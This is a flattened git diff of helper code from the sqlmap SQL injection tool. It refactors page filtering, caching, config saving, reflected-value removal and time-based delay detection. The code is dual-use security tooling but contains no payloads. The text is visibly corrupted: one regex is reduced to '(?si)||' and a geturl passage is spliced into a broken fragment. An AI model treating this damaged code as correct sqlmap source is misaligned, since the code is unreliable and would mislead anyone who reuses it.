""" Returns filtered page content without script, style and/or comments or all HTML tags @@ -1768,10 +1822,10 @@ def getFilteredPageContent(page, onlyText=True): # only if the page's charset has been successfully identified if isinstance(page, unicode): - retVal = re.sub(r"(?si)||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), " ", page) - while retVal.find(" ") != -1: - retVal = retVal.replace(" ", " ") - retVal = htmlunescape(retVal.strip()) + retVal = re.sub(r"(?si)||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page) + while retVal.find(2 * split) != -1: + retVal = retVal.replace(2 * split, split) + retVal = htmlunescape(retVal.strip().strip(split)) return retVal @@ -1787,8 +1841,7 @@ def getPageWordSet(page): # only if the page's charset has been successfully identified if isinstance(page, unicode): - _ = getFilteredPageContent(page) - retVal = set(re.findall(r"\w+", _)) + retVal = set(_.group(0) for _ in re.finditer(r"\w+", getFilteredPageContent(page))) return retVal @@ -1836,11 +1889,11 @@ def isWindowsDriveLetterPath(filepath): False """ - return re.search("\A[\w]\:", filepath) is not None + return re.search(r"\A[\w]\:", filepath) is not None def posixToNtSlashes(filepath): """ - Replaces all occurances of Posix slashes (/) in provided + Replaces all occurrences of Posix slashes (/) in provided filepath with NT ones (\) >>> posixToNtSlashes('C:/Windows') @@ -1851,7 +1904,7 @@ def posixToNtSlashes(filepath): def ntToPosixSlashes(filepath): """ - Replaces all occurances of NT slashes (\) in provided + Replaces all occurrences of NT slashes (\) in provided filepath with Posix ones (/) >>> ntToPosixSlashes('C:\\Windows') @@ -1949,10 +2002,10 @@ def getSQLSnippet(dbms, sfile, **variables): retVal = readCachedFileContent(filename) retVal = re.sub(r"#.+", "", retVal) - retVal = re.sub(r"(?s);\s+", "; ", retVal).strip("\r\n") + retVal = re.sub(r";\s+", "; ", retVal).strip("\r\n") for _ in variables.keys(): - retVal = re.sub(r"%%%s%%" % _, variables[_], retVal) + retVal = re.sub(r"%%%s%%" % _, variables[_].replace('\\', r'\\'), retVal) for _ in re.findall(r"%RANDSTR\d+%", retVal, re.I): retVal = retVal.replace(_, randomStr()) @@ -1967,9 +2020,8 @@ def getSQLSnippet(dbms, sfile, **variables): logger.error(errMsg) msg = "do you want to provide the substitution values? [y/N] " - choice = readInput(msg, default="N") - if choice and choice[0].lower() == "y": + if readInput(msg, default='N', boolean=True): for var in variables: msg = "insert value for variable '%s': " % var val = readInput(msg, default="") @@ -2006,6 +2058,7 @@ def readXmlFile(xmlFile): return retVal +@cachedmethod def stdev(values): """ Computes standard deviation of a list of numbers. @@ -2017,19 +2070,10 @@ def stdev(values): if not values or len(values) < 2: return None - - key = (values[0], values[-1], len(values)) - - if kb.get("cache") and key in kb.cache.stdev: - retVal = kb.cache.stdev[key] else: avg = average(values) _ = reduce(lambda x, y: x + pow((y or 0) - avg, 2), values, 0.0) - retVal = sqrt(_ / (len(values) - 1)) - if kb.get("cache"): - kb.cache.stdev[key] = retVal - - return retVal + return sqrt(_ / (len(values) - 1)) def average(values): """ @@ -2080,6 +2124,9 @@ def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, un retVal = list() if not unique else OrderedDict() + if filename: + filename = filename.strip('"\'') + checkFile(filename) try: @@ -2186,7 +2233,7 @@ def goGoodSamaritan(prevValue, originalCharset): def getPartRun(alias=True): """ Goes through call stack and finds constructs matching conf.dbmsHandler.*. - Returns it or its alias used in txt/common-outputs.txt + Returns it or its alias used in 'txt/common-outputs.txt' """ retVal = None @@ -2282,7 +2329,7 @@ def longestCommonPrefix(*sequences): return sequences[0] def commonFinderOnly(initial, sequence): - return longestCommonPrefix(*filter(lambda x: x.startswith(initial), sequence)) + return longestCommonPrefix(*filter(lambda _: _.startswith(initial), sequence)) def pushValue(value): """ @@ -2327,7 +2374,7 @@ def wasLastResponseDBMSError(): def wasLastResponseHTTPError(): """ - Returns True if the last web request resulted in an errornous HTTP code (like 500) + Returns True if the last web request resulted in an erroneous HTTP code (like 500) """ threadData = getCurrentThreadData() @@ -2345,7 +2392,7 @@ def wasLastResponseDelayed(): deviation = stdev(kb.responseTimes.get(kb.responseTimeMode, [])) threadData = getCurrentThreadData() - if deviation and not conf.direct: + if deviation and not conf.direct and not conf.disableStats: if len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: warnMsg = "time-based standard deviation method used on a model " warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES @@ -2358,14 +2405,17 @@ def wasLastResponseDelayed(): if kb.adjustTimeDelay is None: msg = "do you want sqlmap to try to optimize value(s) " msg += "for DBMS delay responses (option '--time-sec')? [Y/n] " - choice = readInput(msg, default='Y') - kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if choice.upper() == 'N' else ADJUST_TIME_DELAY.YES + + kb.adjustTimeDelay = ADJUST_TIME_DELAY.DISABLE if not readInput(msg, default='Y', boolean=True) else ADJUST_TIME_DELAY.YES if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit) return retVal else: - return (threadData.lastQueryDuration - conf.timeSec) >= 0 + delta = threadData.lastQueryDuration - conf.timeSec + if Backend.getIdentifiedDbms() in (DBMS.MYSQL,): # MySQL's SLEEP(X) lasts 0.05 seconds shorter on average + delta += 0.05 + return delta >= 0 def adjustTimeDelay(lastQueryDuration, lowerStdLimit): """ @@ -2377,7 +2427,7 @@ def adjustTimeDelay(lastQueryDuration, lowerStdLimit): if candidate: kb.delayCandidates = [candidate] + kb.delayCandidates[:-1] - if all((x == candidate for x in kb.delayCandidates)) and candidate < conf.timeSec: + if all((_ == candidate for _ in kb.delayCandidates)) and candidate < conf.timeSec: conf.timeSec = candidate infoMsg = "adjusting time delay to " @@ -2441,6 +2491,9 @@ def findLocalPort(ports): def findMultipartPostBoundary(post): """ Finds value for a boundary parameter in given multipart POST body + + >>> findMultipartPostBoundary("-----------------------------9051914041544843365972754266\\nContent-Disposition: form-data; name=text\\n\\ndefault") + '9051914041544843365972754266' """ retVal = None @@ -2489,8 +2542,8 @@ def _(match): return char if char in charset else match.group(0) result = value if plusspace: - result = result.replace("+", " ") # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case) - result = re.sub("%([0-9a-fA-F]{2})", _, result) + result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case) + result = re.sub(r"%([0-9a-fA-F]{2})", _, result) if isinstance(result, str): result = unicode(result, encoding or UNICODE_ENCODING, "replace") @@ -2524,8 +2577,8 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): # corner case when character % really needs to be # encoded (when not representing URL encoded char) # except in cases when tampering scripts are used - if all(map(lambda x: '%' in x, [safe, value])) and not kb.tamperFunctions: - value = re.sub("%(?![0-9a-fA-F]{2})", "%25", value) + if all('%' in _ for _ in (safe, value)) and not kb.tamperFunctions: + value = re.sub(r"%(?![0-9a-fA-F]{2})", "%25", value) while True: result = urllib.quote(utf8encode(value), safe) @@ -2576,18 +2629,19 @@ def runningAsAdmin(): return isAdmin -def logHTTPTraffic(requestLogMsg, responseLogMsg): +def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None): """ Logs HTTP traffic to the output file """ - if not conf.trafficFile: - return + if conf.harFile: + conf.httpCollector.collectRequest(requestLogMsg, responseLogMsg, startTime, endTime) - with kb.locks.log: - dataToTrafficFile("%s%s" % (requestLogMsg, os.linesep)) - dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep)) - dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) + if conf.trafficFile: + with kb.locks.log: + dataToTrafficFile("%s%s" % (requestLogMsg, os.linesep)) + dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep)) + dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep)) def getPageTemplate(payload, place): # Cross-linked function raise NotImplementedError @@ -2604,7 +2658,7 @@ def getPublicTypeMembers(type_, onlyValues=False): retVal = [] for name, value in inspect.getmembers(type_): - if not name.startswith('__'): + if not name.startswith("__"): if not onlyValues: retVal.append((name, value)) else: @@ -2629,6 +2683,7 @@ def enumValueToNameLookup(type_, value_): return retVal +@cachedmethod def extractRegexResult(regex, content, flags=0): """ Returns 'result' group value from a possible match with regex on a given @@ -2664,7 +2719,7 @@ def extractTextTagContent(page): except MemoryError: page = page.replace(REFLECTED_VALUE_MARKER, "") - return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page))) + return filter(None, (_.group("result").strip() for _ in re.finditer(TEXT_TAG_REGEX, page))) def trimAlphaNum(value): """ @@ -2721,13 +2776,17 @@ def findDynamicContent(firstPage, secondPage): """ This function checks if the provided pages have dynamic content. If they are dynamic, proper markings will be made + + >>> findDynamicContent("Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.", "Lorem ipsum dolor sit amet, congue tation referrentur ei sed. Ne nec legimus habemus recusabo, natum reque et per. Facer tritani reprehendunt eos id, modus constituam est te. Usu sumo indoctum ad, pri paulo molestiae complectitur no.") + >>> kb.dynamicMarkings + [('natum reque et per. ', 'Facer tritani repreh')] """ if not firstPage or not secondPage: return infoMsg = "searching for dynamic content" - logger.info(infoMsg) + singleTimeLogMessage(infoMsg) blocks = SequenceMatcher(None, firstPage, secondPage).get_matching_blocks() kb.dynamicMarkings = [] @@ -2736,7 +2795,7 @@ def findDynamicContent(firstPage, secondPage): for block in blocks[:]: (_, _, length) = block - if length <= DYNAMICITY_MARK_LENGTH: + if length <= 2 * DYNAMICITY_BOUNDARY_LENGTH: blocks.remove(block) # Making of dynamic markings based on prefix/suffix principle @@ -2754,14 +2813,23 @@ def findDynamicContent(firstPage, secondPage): if suffix is None and (blocks[i][0] + blocks[i][2] >= len(firstPage)): continue - prefix = trimAlphaNum(prefix) - suffix = trimAlphaNum(suffix) + if prefix and suffix: + prefix = prefix[-DYNAMICITY_BOUNDARY_LENGTH:] + suffix = suffix[:DYNAMICITY_BOUNDARY_LENGTH] + + infix = max(re.search(r"(?s)%s(.+)%s" % (re.escape(prefix), re.escape(suffix)), _) for _ in (firstPage, secondPage)).group(1) - kb.dynamicMarkings.append((prefix[-DYNAMICITY_MARK_LENGTH / 2:] if prefix else None, suffix[:DYNAMICITY_MARK_LENGTH / 2] if suffix else None)) + if infix[0].isalnum(): + prefix = trimAlphaNum(prefix) + + if infix[-1].isalnum(): + suffix = trimAlphaNum(suffix) + + kb.dynamicMarkings.append((prefix if prefix else None, suffix if suffix else None)) if len(kb.dynamicMarkings) > 0: infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '') - logger.info(infoMsg) + singleTimeLogMessage(infoMsg) def removeDynamicContent(page): """ @@ -2776,11 +2844,11 @@ def removeDynamicContent(page): if prefix is None and suffix is None: continue elif prefix is None: - page = re.sub(r'(?s)^.+%s' % re.escape(suffix), suffix.replace('\\', r'\\'), page) + page = re.sub(r"(?s)^.+%s" % re.escape(suffix), suffix.replace('\\', r'\\'), page) elif suffix is None: - page = re.sub(r'(?s)%s.+$' % re.escape(prefix), prefix.replace('\\', r'\\'), page) + page = re.sub(r"(?s)%s.+$" % re.escape(prefix), prefix.replace('\\', r'\\'), page) else: - page = re.sub(r'(?s)%s.+%s' % (re.escape(prefix), re.escape(suffix)), '%s%s' % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) + page = re.sub(r"(?s)%s.+%s" % (re.escape(prefix), re.escape(suffix)), "%s%s" % (prefix.replace('\\', r'\\'), suffix.replace('\\', r'\\')), page) return page @@ -2831,7 +2899,7 @@ def isDBMSVersionAtLeast(version): value = filterStringValue(value, '[0-9.><=]') - if isinstance(value, basestring): + if value and isinstance(value, basestring): if value.startswith(">="): value = float(value.replace(">=", "")) elif value.startswith(">"): @@ -2841,7 +2909,7 @@ def isDBMSVersionAtLeast(version): elif value.startswith(">"): value = float(value.replace("<", "")) - 0.01 - retVal = getUnicode(value) >= getUnicode(version) + retVal = distutils.version.LooseVersion(getUnicode(value)) >= distutils.version.LooseVersion(getUnicode(version)) return retVal @@ -2889,8 +2957,8 @@ def isStackingAvailable(): retVal = True else: for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): - _ = getTechniqueData(technique) - if _ and "stacked" in _["title"].lower(): + data = getTechniqueData(technique) + if data and "stacked" in data["title"].lower(): retVal = True break @@ -2917,6 +2985,58 @@ def setOptimize(): debugMsg = "turning off switch '--null-connection' used indirectly by switch '-o'" logger.debug(debugMsg) +def saveConfig(conf, filename): + """ + Saves conf to configuration filename + """ + + config = UnicodeRawConfigParser() + userOpts = {} + + for family in optDict.keys(): + userOpts[family] = [] + + for option, value in conf.items(): + for family, optionData in optDict.items(): + if option in optionData: + userOpts[family].append((option, value, optionData[option])) + + for family, optionData in userOpts.items(): + config.add_section(family) + + optionData.sort() + + for option, value, datatype in optionData: + if datatype and isListLike(datatype): + datatype = datatype[0] + + if option in IGNORE_SAVE_OPTIONS: + continue + + if value is None: + if datatype == OPTION_TYPE.BOOLEAN: + value = "False" + elif datatype in (OPTION_TYPE.INTEGER, OPTION_TYPE.FLOAT): + if option in defaults: + value = str(defaults[option]) + else: + value = '0' + elif datatype == OPTION_TYPE.STRING: + value = "" + + if isinstance(value, basestring): + value = value.replace("\n", "\n ") + + config.set(family, option, value) + + with openFile(filename, "wb") as f: + try: + config.write(f) + except IOError, ex: + errMsg = "something went wrong while trying " + errMsg += "to write to the configuration file '%s' ('%s')" % (filename, getSafeExString(ex)) + raise SqlmapSystemException(errMsg) + def initTechnique(technique=None): """ Prepares data for technique specified @@ -3024,7 +3144,7 @@ def priorityFunction(test): if test.stype == PAYLOAD.TECHNIQUE.UNION: retVal = SORT_ORDER.LAST - elif 'details' in test and 'dbms' in test.details: + elif "details" in test and "dbms" in test.details: if intersect(test.details.dbms, Backend.getIdentifiedDbms()): retVal = SORT_ORDER.SECOND else: @@ -3103,14 +3223,14 @@ def decodeIntToUnicode(value): raw = hexdecode(_) if Backend.isDbms(DBMS.MYSQL): - # https://github.com/sqlmapproject/sqlmap/issues/1531 - retVal = getUnicode(raw, conf.charset or UNICODE_ENCODING) + # Note: https://github.com/sqlmapproject/sqlmap/issues/1531 + retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING) elif Backend.isDbms(DBMS.MSSQL): retVal = getUnicode(raw, "UTF-16-BE") elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE): retVal = unichr(value) else: - retVal = getUnicode(raw, conf.charset) + retVal = getUnicode(raw, conf.encoding) else: retVal = getUnicode(chr(value)) except: @@ -3118,11 +3238,29 @@ def decodeIntToUnicode(value): return retVal +def md5File(filename): + """ + Calculates MD5 digest of a file + Reference: http://stackoverflow.com/a/3431838 + """ + + checkFile(filename) + + digest = hashlib.md5() + with open(filename, "rb") as f: + for chunk in iter(lambda: f.read(4096), ""): + digest.update(chunk) + + return digest.hexdigest() + def checkIntegrity(): """ Checks integrity of code files during the unhandled exceptions """ + if not paths: + return + logger.debug("running code integrity check") retVal = True @@ -3131,7 +3269,7 @@ def checkIntegrity(): if not os.path.isfile(path): logger.error("missing file detected '%s'" % path) retVal = False - elif hashlib.md5(open(path, 'rb').read()).hexdigest() != checksum: + elif md5File(path) != checksum: logger.error("wrong checksum of file '%s' detected" % path) retVal = False return retVal @@ -3152,7 +3290,7 @@ def unhandledExceptionMessage(): errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Python version: %s\n" % PYVERSION errMsg += "Operating system: %s\n" % PLATFORM - errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding)) + errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding)) errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None)) errMsg += "Back-end DBMS:" @@ -3172,11 +3310,10 @@ def createGithubIssue(errMsg, excMsg): Automatically create a Github issue with unhandled exception information """ - issues = [] try: issues = getFileItems(paths.GITHUB_HISTORY, unique=True) except: - pass + issues = [] finally: issues = set(issues) @@ -3193,11 +3330,11 @@ def createGithubIssue(errMsg, excMsg): msg += "with the unhandled exception information at " msg += "the official Github repository? [y/N] " try: - test = readInput(msg, default="N") + choice = readInput(msg, default='N', boolean=True) except: - test = None + choice = None - if test and test[0] in ("y", "Y"): + if choice: ex = None errMsg = errMsg[errMsg.find("\n"):] @@ -3247,12 +3384,15 @@ def createGithubIssue(errMsg, excMsg): def maskSensitiveData(msg): """ Masks sensitive data in the supplied message + + >>> maskSensitiveData('python sqlmap.py -u "http://www.test.com/vuln.php?id=1" --banner') + u'python sqlmap.py -u *********************************** --banner' """ retVal = getUnicode(msg) - for item in filter(None, map(lambda x: conf.get(x), SENSITIVE_OPTIONS)): - regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item)) + for item in filter(None, (conf.get(_) for _ in SENSITIVE_OPTIONS)): + regex = SENSITIVE_DATA_REGEX % re.sub(r"(\W)", r"\\\1", getUnicode(item)) while extractRegexResult(regex, retVal): value = extractRegexResult(regex, retVal) retVal = retVal.replace(value, '*' * len(value)) @@ -3263,7 +3403,7 @@ def maskSensitiveData(msg): retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) if getpass.getuser(): - retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), "*" * len(getpass.getuser()), retVal) + retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal) return retVal @@ -3275,7 +3415,7 @@ def listToStrValue(value): '1, 2, 3' """ - if isinstance(value, (set, tuple)): + if isinstance(value, (set, tuple, types.GeneratorType)): value = list(value) if isinstance(value, list): @@ -3285,22 +3425,6 @@ def listToStrValue(value): return retVal -def getExceptionFrameLocals(): - """ - Returns dictionary with local variable content from frame - where exception has been raised - """ - - retVal = {} - - if sys.exc_info(): - trace = sys.exc_info()[2] - while trace.tb_next: - trace = trace.tb_next - retVal = trace.tb_frame.f_locals - - return retVal - def intersect(valueA, valueB, lowerCase=False): """ Returns intersection of the array-ized values @@ -3332,13 +3456,13 @@ def removeReflectiveValues(content, payload, suppressWarning=False): retVal = content try: - if all([content, payload]) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode: + if all((content, payload)) and isinstance(content, unicode) and kb.reflectiveMechanism and not kb.heuristicMode: def _(value): while 2 * REFLECTED_REPLACEMENT_REGEX in value: value = value.replace(2 * REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX) return value - payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ''), convall=True)) + payload = getUnicode(urldecode(payload.replace(PAYLOAD_DELIMITER, ""), convall=True)) regex = _(filterStringValue(payload, r"[A-Za-z0-9]", REFLECTED_REPLACEMENT_REGEX.encode("string-escape"))) if regex != payload: @@ -3361,11 +3485,32 @@ def _(value): else: regex = r"%s\b" % regex - retVal = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, retVal) - - if len(parts) > 2: - regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:]) - retVal = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, retVal) + _retVal = [retVal] + def _thread(regex): + try: + _retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) + + if len(parts) > 2: + regex = REFLECTED_REPLACEMENT_REGEX.join(parts[1:]) + _retVal[0] = re.sub(r"(?i)\b%s\b" % regex, REFLECTED_VALUE_MARKER, _retVal[0]) + except KeyboardInterrupt: + raise + except: + pass + + thread = threading.Thread(target=_thread, args=(regex,)) + thread.daemon = True + thread.start() + thread.join(REFLECTED_REPLACEMENT_TIMEOUT) + + if thread.isAlive(): + kb.reflectiveMechanism = False + retVal = content + if not suppressWarning: + debugMsg = "turning off reflection removal mechanism (because of timeouts)" + logger.debug(debugMsg) + else: + retVal = _retVal[0] if retVal != content: kb.reflectiveCounters[REFLECTIVE_COUNTER.HIT] += 1 @@ -3373,7 +3518,7 @@ def _(value): warnMsg = "reflective value(s) found and filtering out" singleTimeWarnMessage(warnMsg) - if re.search(r"FRAME[^>]+src=[^>]*%s" % REFLECTED_VALUE_MARKER, retVal, re.I): + if re.search(r"(?i)FRAME[^>]+src=[^>]*%s" % REFLECTED_VALUE_MARKER, retVal): warnMsg = "frames detected containing attacked parameter values. Please be sure to " warnMsg += "test those separately in case that attack on this page fails" singleTimeWarnMessage(warnMsg) @@ -3402,7 +3547,7 @@ def normalizeUnicode(value): 'sucuraj' """ - return unicodedata.normalize('NFKD', value).encode('ascii', 'ignore') if isinstance(value, unicode) else value + return unicodedata.normalize("NFKD", value).encode("ascii", "ignore") if isinstance(value, unicode) else value def safeSQLIdentificatorNaming(name, isTable=False): """ @@ -3417,17 +3562,19 @@ def safeSQLIdentificatorNaming(name, isTable=False): _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) if _: - retVal = re.sub(r"(?i)\A%s\." % DEFAULT_MSSQL_SCHEMA, "", retVal) + retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal) + + if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) + retVal = unsafeSQLIdentificatorNaming(retVal) - if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ("." if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): - retVal = "`%s`" % retVal.strip("`") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2): - retVal = "\"%s\"" % retVal.strip("\"") + retVal = "`%s`" % retVal + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB): + retVal = "\"%s\"" % retVal elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): - retVal = "\"%s\"" % retVal.strip("\"").upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)): - retVal = "[%s]" % retVal.strip("[]") + retVal = "\"%s\"" % retVal.upper() + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)): + retVal = "[%s]" % retVal if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal): retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal) @@ -3444,17 +3591,15 @@ def unsafeSQLIdentificatorNaming(name): if isinstance(name, basestring): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.SQLITE, DBMS.INFORMIX, DBMS.HSQLDB): retVal = name.replace("\"", "") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = name.replace("\"", "").upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,): + elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): - prefix = "%s." % DEFAULT_MSSQL_SCHEMA - if retVal.startswith(prefix): - retVal = retVal[len(prefix):] + retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal) return retVal @@ -3524,7 +3669,7 @@ def __init__(self): for mnemonic in (mnemonics or "").split(','): found = None - name = mnemonic.split('=')[0].replace("-", "").strip() + name = mnemonic.split('=')[0].replace('-', "").strip() value = mnemonic.split('=')[1] if len(mnemonic.split('=')) > 1 else None pointer = head @@ -3619,7 +3764,7 @@ def filterPairValues(values): def randomizeParameterValue(value): """ - Randomize a parameter value based on occurances of alphanumeric characters + Randomize a parameter value based on occurrences of alphanumeric characters >>> random.seed(0) >>> randomizeParameterValue('foobar') @@ -3632,21 +3777,39 @@ def randomizeParameterValue(value): value = re.sub(r"%[0-9a-fA-F]{2}", "", value) - for match in re.finditer('[A-Z]+', value): - retVal = retVal.replace(match.group(), randomStr(len(match.group())).upper()) + for match in re.finditer(r"[A-Z]+", value): + while True: + original = match.group() + candidate = randomStr(len(match.group())).upper() + if original != candidate: + break + + retVal = retVal.replace(original, candidate) - for match in re.finditer('[a-z]+', value): - retVal = retVal.replace(match.group(), randomStr(len(match.group())).lower()) + for match in re.finditer(r"[a-z]+", value): + while True: + original = match.group() + candidate = randomStr(len(match.group())).lower() + if original != candidate: + break - for match in re.finditer('[0-9]+', value): - retVal = retVal.replace(match.group(), str(randomInt(len(match.group())))) + retVal = retVal.replace(original, candidate) + + for match in re.finditer(r"[0-9]+", value): + while True: + original = match.group() + candidate = str(randomInt(len(match.group()))) + if original != candidate: + break + + retVal = retVal.replace(original, candidate) return retVal @cachedmethod def asciifyUrl(url, forceQuote=False): """ - Attempts to make a unicode URL usuable with ``urllib/urllib2``. + Attempts to make a unicode URL usable with ``urllib/urllib2``. More specifically, it attempts to convert the unicode object ``url``, which is meant to represent a IRI, to an unicode object that, @@ -3686,7 +3849,7 @@ def quote(s, safe): # Triggers on non-ascii characters - another option would be: # urllib.quote(s.replace('%', '')) != s.replace('%', '') # which would trigger on all %-characters, e.g. "&". - if s.encode("ascii", "replace") != s or forceQuote: + if getUnicode(s).encode("ascii", "replace") != s or forceQuote: return urllib.quote(s.encode(UNICODE_ENCODING), safe=safe) return s @@ -3711,13 +3874,15 @@ def quote(s, safe): if port: netloc += ':' + str(port) - return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) + return urlparse.urlunsplit([parts.scheme, netloc, path, query, parts.fragment]) or url def isAdminFromPrivileges(privileges): """ Inspects privileges to see if those are coming from an admin user """ + privileges = privileges or [] + # In PostgreSQL the usesuper privilege means that the # user is DBA retVal = (Backend.isDbms(DBMS.PGSQL) and "super" in privileges) @@ -3768,18 +3933,20 @@ def geturl(self): except (UnicodeError, ValueError): pass except ParseError: - if ".+)\]", url) elif any(retVal.endswith(':%d' % _) for _ in (80, 443)): retVal = retVal.split(':')[0] @@ -4002,7 +4169,7 @@ def _(value): retVal = value if value and isinstance(value, basestring): if len(value) % 2 != 0: - retVal = "%s?" % hexdecode(value[:-1]) + retVal = "%s?" % hexdecode(value[:-1]) if len(value) > 1 else value singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value) else: retVal = hexdecode(value) @@ -4079,8 +4246,10 @@ def hashDBRetrieve(key, unserialize=False, checkConf=False): _ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE) retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None + if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, basestring) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): retVal = None + return retVal def resetCookieJar(cookieJar): @@ -4173,7 +4342,7 @@ def getRequestHeader(request, name): if request and name: _ = name.upper() - retVal = max([value if _ == key.upper() else None for key, value in request.header_items()]) + retVal = max(value if _ == key.upper() else None for key, value in request.header_items()) return retVal @@ -4256,6 +4425,9 @@ def getSafeExString(ex, encoding=None): """ Safe way how to get the proper exception represtation as a string (Note: errors to be avoided: 1) "%s" % Exception(u'\u0161') and 2) "%s" % str(Exception(u'\u0161')) + + >>> getSafeExString(Exception('foobar')) + u'foobar' """ retVal = ex @@ -4265,4 +4437,10 @@ def getSafeExString(ex, encoding=None): elif getattr(ex, "msg", None): retVal = ex.msg - return getUnicode(retVal, encoding=encoding) + return getUnicode(retVal or "", encoding=encoding).strip() + +def safeVariableNaming(value): + return re.sub(r"[^\w]", lambda match: "%s%02x" % (SAFE_VARIABLE_MARKER, ord(match.group(0))), value) + +def unsafeVariableNaming(value): + return re.sub(r"%s([0-9a-f]{2})" % SAFE_VARIABLE_MARKER, lambda match: match.group(1).decode("hex"), value) diff --git a/lib/core/convert.py b/lib/core/convert.py old mode 100755 new mode 100644 index 802d00cfb7f..5a5701c23d1 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission """ try: @@ -110,7 +110,7 @@ def hexdecode(value): value = value.lower() return (value[2:] if value.startswith("0x") else value).decode("hex") -def hexencode(value): +def hexencode(value, encoding=None): """ Encodes string value from plain to hex format @@ -118,7 +118,7 @@ def hexencode(value): 